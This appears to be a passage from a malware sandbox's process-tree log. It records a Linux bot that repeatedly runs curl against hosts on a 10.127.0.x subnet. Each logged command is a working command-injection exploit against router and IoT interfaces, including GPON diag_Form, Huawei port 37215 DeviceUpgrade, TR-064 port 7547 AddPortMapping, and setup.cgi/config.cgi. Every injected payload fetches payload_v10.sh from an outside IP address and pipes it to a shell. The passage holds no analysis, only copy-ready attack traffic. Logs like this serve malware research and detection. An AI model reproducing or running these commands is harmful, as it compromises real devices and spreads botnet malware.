                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.102/setup.cgi
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:1063
                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.107/setup.cgi
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1077
                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                      curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.106/cgi-bin/config.cgi
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1055
                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                        curl -s -g "http://10.127.0.102/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:1059
                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                          curl -s -g "http://10.127.0.103:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:1064
                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                            curl -s -X POST http://10.127.0.102:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:1060
                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                              curl -s -X POST "http://10.127.0.107:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:1075
                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                curl -s -g "http://10.127.0.10:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:1082
                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                  curl -s -X POST "http://10.127.0.101:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:1023
                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.10/cgi-bin/config.cgi
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:1086
                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                      curl -s -X POST http://10.127.0.10:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1084
                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                        curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.103/setup.cgi
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:1069
                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                          curl -s -g "http://10.127.0.10/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:1083
                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                            curl -s -X POST "http://10.127.0.10:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:1085
                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                              curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.10/setup.cgi
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:1087
                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                curl -s -g "http://10.127.0.102:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:1058
                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.108/cgi-bin/config.cgi
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:1095
                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                    curl -s -X POST http://10.127.0.107:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1074
                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                      curl -s -g "http://10.127.0.109:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:1098
                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                        curl -s -X POST http://10.127.0.108:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:1093
                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                          curl -s -g "http://10.127.0.109/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:1099
                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                            curl -s -X POST "http://10.127.0.108:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:1094
                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                              curl -s -g "http://10.127.0.108:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:1091
                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.11/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:1102
                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                  curl -s -X POST http://10.127.0.103:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:1066
                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                    curl -s -g "http://10.127.0.11:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:1101
                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                      curl -s -X POST http://10.127.0.11:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:1103
                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                        curl -s -g "http://10.127.0.1:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:1112
                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                          curl -s -g "http://10.127.0.110:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:1106
                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                            curl -s -X POST http://10.127.0.110:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:1108
                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                              curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.110/setup.cgi
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:1111
                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.110/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:1107
                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.108/setup.cgi
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:1096
                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.100/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:1047
                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                      curl -s -X POST "http://10.127.0.1:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:1117
                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                        curl -s -X POST http://10.127.0.1:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:1116
                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                          curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.1/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:1118
                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                            curl -s -X POST "http://10.127.0.110:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:1109
                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                              curl -s -g "http://10.127.0.114/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:1129
                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.113:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:1119
                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                  curl -s -X POST http://10.127.0.115:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:1126
                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.115/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:1130
                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                      curl -s -X POST "http://10.127.0.115:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:1127
                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                        curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.1/setup.cgi
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:1121
                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                          curl -s -g "http://10.127.0.115:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:1124
                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                            curl -s -g "http://10.127.0.114:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:1128
                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                              curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.104/setup.cgi
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:1032
                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.115/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:1125
                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                  curl -s -g "http://10.127.0.116/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:1133
                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                    curl -s -X POST "http://10.127.0.100:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:1046
                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                      curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.116/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:1136
                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                        curl -s -X POST http://10.127.0.116:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:1134
                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                          curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.116/setup.cgi
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:1137
                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                            curl -s -g "http://10.127.0.108/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:1092
                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
